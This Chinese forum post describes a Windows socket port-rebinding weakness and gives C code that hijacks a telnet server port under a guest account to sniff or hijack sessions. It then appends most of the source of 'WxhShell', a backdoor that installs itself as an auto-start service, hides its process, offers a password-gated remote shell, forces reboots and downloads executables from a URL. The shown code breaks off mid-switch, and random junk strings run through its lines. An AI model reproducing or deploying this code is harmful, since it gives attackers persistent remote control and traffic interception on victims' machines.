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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NNr6~m)3v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F =*4] O  
KX;JX*)J  
  saddr.sin_family = AF_INET; J,?F+Qji&=  
8 3/WWL }  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LauGT* z!  
zjow %  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ->?tB1}^  
w oIZFus  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {9{X\|  
L#'XN H"  
  这意味着什么?意味着可以进行如下的攻击: Gt?l 2s  
32HF&P+0%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :JX2GRL4  
.vy@uT,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8!.V`|@lt  
|By[ev"Kh%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %,~\,+NP  
WvArppANo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5oCg&aT  
cNwH Y Z'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~@6l7H6{  
}[lP^Qs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W 2[]m>;  
- G/qfd|s/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fx.Ly]L  
t_!p({  
  #include sCt)Yp+8}B  
  #include <FU?^*~  
  #include <)!,$]S  
  #include    'Nt)7U>oC9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *U%3 [6hm  
  int main() H#V&5|K%  
  { vR!g1gI23  
  WORD wVersionRequested; Wq+GlB*  
  DWORD ret; 0,m]W)  
  WSADATA wsaData; "@hd\w{.  
  BOOL val; Cy/VH"G=  
  SOCKADDR_IN saddr; e Csk\f`  
  SOCKADDR_IN scaddr; vK+reXE  
  int err; A-uIZ zC  
  SOCKET s; 6| B9kh}  
  SOCKET sc; 1,) yEeHjU  
  int caddsize; 8TAJ#Lm  
  HANDLE mt; ^<-r57pz  
  DWORD tid;   @q>Hl`a  
  wVersionRequested = MAKEWORD( 2, 2 ); M!i|,S  
  err = WSAStartup( wVersionRequested, &wsaData ); \5!7zPc  
  if ( err != 0 ) { BK=w'1U  
  printf("error!WSAStartup failed!\n"); ToPjB vD  
  return -1; RzL(Gnb  
  } #z%D d{E  
  saddr.sin_family = AF_INET; =+wd"Bu  
   !dGu0wE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NNbdP;=:u  
 6(-s@{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3 1-p/  
  saddr.sin_port = htons(23); `?N0?;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m }HaJ  
  { \ B84  
  printf("error!socket failed!\n"); QM 3DB  
  return -1; 6MY<6t0a  
  } hchG\ i  
  val = TRUE; m#8[")a$"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7XyCl&Dc:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X|Y(*$?D7  
  { _ pz}  
  printf("error!setsockopt failed!\n"); DZC@^k \E  
  return -1; wxc#)W  
  } I-r+1gty  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K6-M.I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |]@Pq[Hn|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3Y2~HuM  
rqmb<# Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) egG<"e*W}N  
  { :yD>Tn;1  
  ret=GetLastError(); zM=MFKhi ~  
  printf("error!bind failed!\n"); Rb0I7~Z%'d  
  return -1; 0]  
  } oS..y($TI  
  listen(s,2); z dgS@g  
  while(1) 1] ~w?)..'  
  { +Z|3[#W  
  caddsize = sizeof(scaddr); n8F5z|/  
  //接受连接请求 @ G)yz!H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q {Z#}|km#  
  if(sc!=INVALID_SOCKET) < z2wt  
  { A)C)5W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @lE'D":?  
  if(mt==NULL) -%yrs6  
  { ;50&s .gZ  
  printf("Thread Creat Failed!\n"); ,n8\y9{G  
  break; Yjjh}R#  
  } <R@,wzK  
  } b),fz  
  CloseHandle(mt); 3*=0`}jMJ  
  } OQKeU0v  
  closesocket(s); rT/r"vr  
  WSACleanup(); f2;.He  
  return 0; _i+@HXR &  
  }   ={ms@/e/T  
  DWORD WINAPI ClientThread(LPVOID lpParam) {JP q. A  
  { p8!T) ?|  
  SOCKET ss = (SOCKET)lpParam; C{zp8 A(Dh  
  SOCKET sc; [rT.k5_  
  unsigned char buf[4096]; s4"Os gP+  
  SOCKADDR_IN saddr; -<6?ISF2  
  long num; rYr*D[m]  
  DWORD val; |M?vFF]TN  
  DWORD ret; kUgfFa#_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V3t#kv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R);Hd1G  
  saddr.sin_family = AF_INET; ~bhS$*t64  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LjBIRV7  
  saddr.sin_port = htons(23); be,Rj,-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (*9.GyK  
  { rR#Ditn^  
  printf("error!socket failed!\n"); VWE>w|'  
  return -1; ;[Mvk6^'R  
  } h0rPMd(K  
  val = 100; 8 XB[CbO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IQ I8 v  
  { T[bCY 6  
  ret = GetLastError(); | ]*3En:  
  return -1; R2Fjv@Egk  
  } h <LFTYE@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E7MSoBX9M  
  { Fye>H6MU  
  ret = GetLastError(); f_jhQ..g<g  
  return -1; AzOs/q8O  
  } ;2<5^hgk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <:}nd:l1  
  { H3D<"4Q>  
  printf("error!socket connect failed!\n"); XnQR(r)pR2  
  closesocket(sc); jb.H[n,\  
  closesocket(ss); W#p7M[  
  return -1; Oo|PZ_P  
  } Ur(R[*2bx  
  while(1) (.ir"\k1(  
  { Db,"Gl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {rUg,y{v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eluN~T:W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9 %T??-  
  num = recv(ss,buf,4096,0); "=djo+y  
  if(num>0) pd|KIs%jl  
  send(sc,buf,num,0); Jay"  
  else if(num==0)  yfZNL?2x  
  break; RRIh;HhX  
  num = recv(sc,buf,4096,0); |vI`u[P  
  if(num>0) SeD}H=,@  
  send(ss,buf,num,0); -&5YRfr!  
  else if(num==0) aTuu",f  
  break; Y_JQPup  
  } $^ws#}j  
  closesocket(ss); G#n 4g :K  
  closesocket(sc); 0X=F(,>9  
  return 0 ; J-v1"7[2GC  
  } XM rk2]_  
U)/.wa>  
\Oeo"|  
========================================================== B.q/}\ ?(  
& o5x  
下边附上一个代码,,WXhSHELL 5#K*75>  
m2j&0z  
========================================================== x}+zhRJ  
fST.p|b7  
#include "stdafx.h" $4nAb^/  
: {p'U2  
#include <stdio.h> 9n& &`r  
#include <string.h> ]M7FIDg  
#include <windows.h> }/cReX,so  
#include <winsock2.h> h'y%TOob  
#include <winsvc.h> X-c|jn7  
#include <urlmon.h> Y![Q1D!  
XQ#K1Z  
#pragma comment (lib, "Ws2_32.lib") 0gd`W{YP  
#pragma comment (lib, "urlmon.lib") OETo?Wg1Z  
3p0v  
#define MAX_USER   100 // 最大客户端连接数 ?=? _32O  
#define BUF_SOCK   200 // sock buffer $ DL}jH^S  
#define KEY_BUFF   255 // 输入 buffer q[&Kr+)j  
-s3`mc}*  
#define REBOOT     0   // 重启 qoO`)<  
#define SHUTDOWN   1   // 关机 4&}%GH>}  
ytZo0pad  
#define DEF_PORT   5000 // 监听端口 kxMvOB$  
$w0TEO!  
#define REG_LEN     16   // 注册表键长度 $DY#04Je\=  
#define SVC_LEN     80   // NT服务名长度 2J7|y\N,  
U#jz5<r  
// 从dll定义API @/ z\p7e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M@Th^yF+8H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v(1 [n]y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *f[ 5rr4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ABWn49c.  
[,o:nry'a  
// wxhshell配置信息 ,Z q:na  
struct WSCFG { 5h5izA'0'  
  int ws_port;         // 监听端口 v e&d"8+]  
  char ws_passstr[REG_LEN]; // 口令 1Bj.MQ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no  /8x';hQ  
  char ws_regname[REG_LEN]; // 注册表键名 $1yO Zp5  
  char ws_svcname[REG_LEN]; // 服务名 lsz3'!%Y)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rx-\B$G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4p:d#,?r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bs"D<r&ro  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |N)Ik8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $*#a;w7\C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %HUex 6!  
QAs)zl0  
}; fAs b:P  
>qeDb0  
// default Wxhshell configuration (RddR{mX  
struct WSCFG wscfg={DEF_PORT, lvW T  
    "xuhuanlingzhe", &jE\D^>ko  
    1, I!lDKS,b  
    "Wxhshell", Cv**iW  
    "Wxhshell", )~ ( *q  
            "WxhShell Service", _@DOH2 lXJ  
    "Wrsky Windows CmdShell Service", Bqf(6\)F  
    "Please Input Your Password: ", w*F[[*j@.  
  1, C[J9 =!t  
  "http://www.wrsky.com/wxhshell.exe", -D`1z?zHra  
  "Wxhshell.exe" qSY\a\.<  
    }; & l>nzJ5?  
J"`VA_[  
// 消息定义模块 @<\oM]jX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bMO^}qR`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gv*b`cl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OoB|Eh|),  
char *msg_ws_ext="\n\rExit."; eZ'8JU]  
char *msg_ws_end="\n\rQuit."; IW~R{ ]6  
char *msg_ws_boot="\n\rReboot..."; TM)INo^  
char *msg_ws_poff="\n\rShutdown..."; 6/UOz V,[  
char *msg_ws_down="\n\rSave to "; PLCm\Oh$l  
GA^hev  
char *msg_ws_err="\n\rErr!"; ? i{?Q,  
char *msg_ws_ok="\n\rOK!"; aI=p_+.h  
'S`l[L:.8  
char ExeFile[MAX_PATH]; aU!}j'5Q  
int nUser = 0; ^ZwZze:2  
HANDLE handles[MAX_USER]; I\l&'Q^0@  
int OsIsNt; )|~K&qn`  
x~e._k=  
SERVICE_STATUS       serviceStatus; Y2`sL,'h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I dK*IA4  
\Zj%eW!m  
// 函数声明 7^gO>2~  
int Install(void); jPWONz(#  
int Uninstall(void); Od!)MQ*,  
int DownloadFile(char *sURL, SOCKET wsh); IWv 9!lW  
int Boot(int flag); pN9!  
void HideProc(void); [\8rh^LFi  
int GetOsVer(void); VGS%U8;  
int Wxhshell(SOCKET wsl); @6;OF5VsQ  
void TalkWithClient(void *cs); `<7\Zl  
int CmdShell(SOCKET sock); $$9H1)Ny  
int StartFromService(void); S\GWMB!oF  
int StartWxhshell(LPSTR lpCmdLine); 8E%LhA.  
csP4Oq\g[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F2N"aQ&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "n%j2"TYJj  
 u r$  
// 数据结构和表定义 x@NfN*?/+i  
SERVICE_TABLE_ENTRY DispatchTable[] = TU|#Pz7n-Z  
{ 2F4<3k! &  
{wscfg.ws_svcname, NTServiceMain}, f_c\uN@f  
{NULL, NULL} #-L0.z(  
}; &~:EmLgv  
de:@/-|  
// 自我安装 +7.|1x;C  
int Install(void) KuR]X``2  
{ zluq2r  
  char svExeFile[MAX_PATH]; \BHZRytQF  
  HKEY key; 9g6$"',H  
  strcpy(svExeFile,ExeFile); [ V.67_~  
OyO<A3  
// 如果是win9x系统,修改注册表设为自启动 9z(SOzZn  
if(!OsIsNt) { }B0[S_mw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <"3q5ic/Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .j4y0dh33  
  RegCloseKey(key); 72nZ`u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ChiIQWFE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <B6md i'R  
  RegCloseKey(key); pwo$qs(p  
  return 0; "6U0 !.ro@  
    } d"|_NG`vr  
  } V(ELrjB0  
} xlv(PVdn  
else { oCT,v0+4O  
e$9a9twl  
// 如果是NT以上系统,安装为系统服务 Wl| i$L)7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w%L4O;E]*{  
if (schSCManager!=0) f I1CT)0<e  
{ >CvhTrPI  
  SC_HANDLE schService = CreateService byM%D$R  
  (  P^te  
  schSCManager, ?`RlYu  
  wscfg.ws_svcname, /pF8S!,z  
  wscfg.ws_svcdisp, rN1]UaT  
  SERVICE_ALL_ACCESS, ; hQ[-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h8/tKyr8(  
  SERVICE_AUTO_START, 8ZtJvk`  
  SERVICE_ERROR_NORMAL, AXbb-GK  
  svExeFile, tddwnpnSw  
  NULL, Z_ GGH2u  
  NULL, ct\msG }b:  
  NULL, i!YfR]"}  
  NULL, _hY6 NMw  
  NULL ?o(284sV3  
  ); LATizu  
  if (schService!=0) "`M~=RiI  
  { Zh8\B)0unn  
  CloseServiceHandle(schService); H9WYt#  
  CloseServiceHandle(schSCManager); P0 0G*iY~\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U$2Em0HO}  
  strcat(svExeFile,wscfg.ws_svcname); ! $JX3mP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L&6^(Bn   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ULK] ' Rn  
  RegCloseKey(key); vHvz-3  
  return 0; &4OOW;,?<  
    } L } R"1O  
  } GvtK=A$b  
  CloseServiceHandle(schSCManager); $}vk+.!*1  
} tav@a)  
} Q0xGd(\  
^_#wo"  
return 1; YeCnk:_ kg  
} .]E(P   
X3sAy(q  
// 自我卸载 (Z<@dkO?)  
int Uninstall(void) [W )%0lx  
{ jm%P-C @  
  HKEY key; G$,s.MSf  
ZV{C9S&  
if(!OsIsNt) { C]b:#S${  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l2;$qNAo  
  RegDeleteValue(key,wscfg.ws_regname); b@J"b(  
  RegCloseKey(key); ((gI OTV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T.cTL.}  
  RegDeleteValue(key,wscfg.ws_regname); )2c]Z|  
  RegCloseKey(key); /)[-5n{  
  return 0; Z"c-Ly{vEj  
  } U-DQ?OtmC@  
} +E. D:  
} bIm4s  
else { 2Pb+/1*ix  
kk5&lak2V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }"+"nf5h  
if (schSCManager!=0) 4- QlIIf  
{ <,$*(dX)(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !,ODczWvh  
  if (schService!=0) OcUj_Zd  
  { T^!Q(`*  
  if(DeleteService(schService)!=0) { .4]XR/I$  
  CloseServiceHandle(schService); A$p&<#  
  CloseServiceHandle(schSCManager); a=$ZM4Bn  
  return 0; xDeM7L'  
  } }V ]*FCpQ  
  CloseServiceHandle(schService); L4^/O29  
  } 8b0j rt  
  CloseServiceHandle(schSCManager); ?5't1219  
} 50 w$PW  
}  IZrcn  
Ch{6=k bK  
return 1; Lu^uY7 ?}  
} <k[_AlCmsg  
u$tst_y-  
// 从指定url下载文件 gZ&4b'XS,  
int DownloadFile(char *sURL, SOCKET wsh) 4U\>TFO  
{ W'"hjQ_  
  HRESULT hr; uPl7u 1c  
char seps[]= "/"; m> +  
char *token; R@grY:h  
char *file; z~f;}`0  
char myURL[MAX_PATH]; xJw" 8V<  
char myFILE[MAX_PATH]; Pz*BuL <  
>!Gq[i0  
strcpy(myURL,sURL); : F3UJ[V  
  token=strtok(myURL,seps); W/A@qo"  
  while(token!=NULL) sT=|"H?  
  { #}fvjJ{  
    file=token; @|;[ ;:h@  
  token=strtok(NULL,seps); +o3n%( ^~  
  } ]*]*O|w  
;Qy Ew5  
GetCurrentDirectory(MAX_PATH,myFILE); ;Mq'+4$  
strcat(myFILE, "\\"); Fep@VkN  
strcat(myFILE, file); i|<wnJu  
  send(wsh,myFILE,strlen(myFILE),0); *CGHp8  
send(wsh,"...",3,0); xj33g6S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I!Dx)>E&  
  if(hr==S_OK) 8\E=p+C  
return 0; R6X2d\l#  
else 8m H6?,@6  
return 1; De 3;}]wC  
c|:EMYS  
} aNM*=y`  
Q0`@=5?-  
// 系统电源模块 xN$V(ZX4  
int Boot(int flag) fFVQu\  
{ hQ>$ "0K  
  HANDLE hToken; B t3++ Mj  
  TOKEN_PRIVILEGES tkp; JK,^:tgm  
IM6n\EZ^  
  if(OsIsNt) { f4\F:YT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q(x=;wf5r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;~ Xjk  
    tkp.PrivilegeCount = 1; mx1Bk9h%Xe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &:C[ nq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L$a{%]I  
if(flag==REBOOT) { u`B/9-K)y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c='W{47  
  return 0; A##Q>|>)  
} Dd0yQgCu  
else { b"@-9ke5I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nzxHd7NIZ  
  return 0; %1cxZxGT  
} o9ys$vXt*  
  } #2\M(5d  
  else { Y&M{7  
if(flag==REBOOT) { x-@?:P*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6(\-aH'Ol  
  return 0; BGfwgI.m  
} ;[lLFI  
else { >g+Y//Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ej7N5~!,s  
  return 0; 6}@T^?  
} AvIheR  
} .FYRi_Zd  
h+d k2|a  
return 1; )y!gApNs"  
} 3bLOT#t  
e7iQG@i7  
// win9x进程隐藏模块 ?N+pWdi  
void HideProc(void) _ZWU~38PM  
{ 6V9r[,n  
X`Lv}6}xT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4`5W] J]6  
  if ( hKernel != NULL ) ZHwN3  
  { U3aM^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / E!6]b/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u6E ze4u  
    FreeLibrary(hKernel); l YdATM(h  
  } Zq: }SU  
3 ?gfDJfE  
return; ^755 LW  
} _MQh<,Z8  
mWoN\Rwj  
// 获取操作系统版本 b*Hk} !qH  
int GetOsVer(void) b!QRD'31'j  
{ 7 mA3&<&q  
  OSVERSIONINFO winfo; ~s?y[yy6i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DjZTr}%q  
  GetVersionEx(&winfo); blG?("0!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KKg\n^  
  return 1; :[PA.Upi  
  else hOqNZ66{  
  return 0; -e51 /lhpd  
} >Ir?)h  
(t"|XSF  
// 客户端句柄模块 Vw.4;Zy(  
int Wxhshell(SOCKET wsl) FAGi`X<L  
{ &"1_n]JO  
  SOCKET wsh; O#^qd0e'P!  
  struct sockaddr_in client; sV%=z}n=  
  DWORD myID; frQ=BV5%6  
oY\;KPz  
  while(nUser<MAX_USER) -G1R><8[  
{ Uu`}| &@i  
  int nSize=sizeof(client); ! }eq~3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M.$=tuUL  
  if(wsh==INVALID_SOCKET) return 1; 925T#%y  
s }^W2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |c$*Fa"A  
if(handles[nUser]==0) DM,;W`|6%  
  closesocket(wsh); ~2NT Xp  
else 8M['-  
  nUser++; =xH>,-8}  
  } @71y:)W<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); > JTf0/  
dDYor-g>  
  return 0; sWq}/!@&  
} p8CaD4bE  
3=Xvl 58k  
// 关闭 socket xnZ  
void CloseIt(SOCKET wsh) EL *l5!Iu  
{ MA 6uJT  
closesocket(wsh); *z'Rl'j9[  
nUser--; hz2f7g  
ExitThread(0); 4l{La}Aj  
} fhHTp_u)2  
P6'0:M@5  
// 客户端请求句柄 ~4S6c=:  
void TalkWithClient(void *cs) o:%;AOcl  
{ Kna@K$6{w=  
\3t)7.:4  
  SOCKET wsh=(SOCKET)cs; AUU(fy#<  
  char pwd[SVC_LEN]; b Sg]FBaW  
  char cmd[KEY_BUFF]; ,y7X>M2  
char chr[1]; (WGEX(|  
int i,j; n>lQ:l~  
eYg0 NEq{  
  while (nUser < MAX_USER) { iqTmgE-  
HM\}C.u  
if(wscfg.ws_passstr) { [}l 1`>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <U /r U9O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rqM_#[Y?  
  //ZeroMemory(pwd,KEY_BUFF); ${U H!n{  
      i=0; k~1{|HxrE  
  while(i<SVC_LEN) { )B^T7{  
K!G/iz9SB  
  // 设置超时 Kku@!lv  
  fd_set FdRead; wD<W'K   
  struct timeval TimeOut; f./j%R@  
  FD_ZERO(&FdRead); oFu( J  
  FD_SET(wsh,&FdRead); ub{Yg5{3S\  
  TimeOut.tv_sec=8; _lOyT$DN  
  TimeOut.tv_usec=0; T,4REbm^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P9#}aw+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < $rXQ  
J\ ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; JHf0  
  pwd=chr[0]; $I3}% '`+  
  if(chr[0]==0xd || chr[0]==0xa) { }Do$oyAV$G  
  pwd=0; V#-8[G6Ra  
  break; 4L2TsuLw  
  } lHgmljn5u  
  i++; ]u >~:  
    } `[4{]jX+<  
Z@#k ivcpz  
  // 如果是非法用户,关闭 socket g^2H(}frc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  [ "Jt2  
} eOd'i{f@F  
mLeK7?GL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VSm{]Z!x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GplEad $  
14Jkr)N  
while(1) { w 5Yt mnP  
`HM?Fc58  
  ZeroMemory(cmd,KEY_BUFF); -sk!XWW+  
#Ic-?2Gn4<  
      // 自动支持客户端 telnet标准   ~w$ ^`e!]  
  j=0; T C._kAm  
  while(j<KEY_BUFF) { ;[j)g,7{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]A:G>K  
  cmd[j]=chr[0]; AhSN'gWpbF  
  if(chr[0]==0xa || chr[0]==0xd) { &;%LTF@I,  
  cmd[j]=0; E"Y[k8-:2/  
  break; Ivc/g,  
  } sMWNzt  
  j++; )L7h:%h#  
    } h!]=)7x;  
i}LVBx"K(  
  // 下载文件 $%3%&+z$I  
  if(strstr(cmd,"http://")) { \w@ "`!%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (, uW-  
  if(DownloadFile(cmd,wsh)) >o!~T}J7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?bx<$C@  
  else CF@j]I@{   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8}!WJ2[R  
  } 'di(5  
  else { Eg#WR&Uq"  
hW-?j&yJ?  
    switch(cmd[0]) { e:RgCDWL  
  XRWy#Pj  
  // 帮助 agPTY{;  
  case '?': { !&vPG>V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (%iCP/E3  
    break; Wr\A ->+  
  }  i(n BXV{  
  // 安装 &\M<>>IB  
  case 'i': { QetyuhS~  
    if(Install()) _{YUWV50}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2lRE+_qz  
    else 7,Q>>%/0P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :^992]EBEj  
    break; GA"zO,  
    }  F]KAnEf  
  // 卸载 xU;;@9X  
  case 'r': { _air'XQ&!  
    if(Uninstall()) 7,EdJ[CR$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ya-kM UW  
    else I=9sTR)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9g`o+U{  
    break; [I5}q&  
    } - 1tiy.^$F  
  // 显示 wxhshell 所在路径 L+2<J,   
  case 'p': { Ex$i8fO(  
    char svExeFile[MAX_PATH]; o) ,1R:  
    strcpy(svExeFile,"\n\r"); jZ>x5 W  
      strcat(svExeFile,ExeFile); F>[T)t{m=  
        send(wsh,svExeFile,strlen(svExeFile),0); y` 6!Vj l  
    break; 4jdP3Q/  
    } yk&PJ;%O<  
  // 重启 ^;a~_9 m-  
  case 'b': { 2"!s8x1$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K)F6TvWv  
    if(Boot(REBOOT)) ]?a i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4b :q84  
    else { <e@+w6Kp'7  
    closesocket(wsh); ZA6)@Mn  
    ExitThread(0); MPD<MaW$  
    } xv>]e <":  
    break; XMw*4j2E  
    } >K-S&Y  
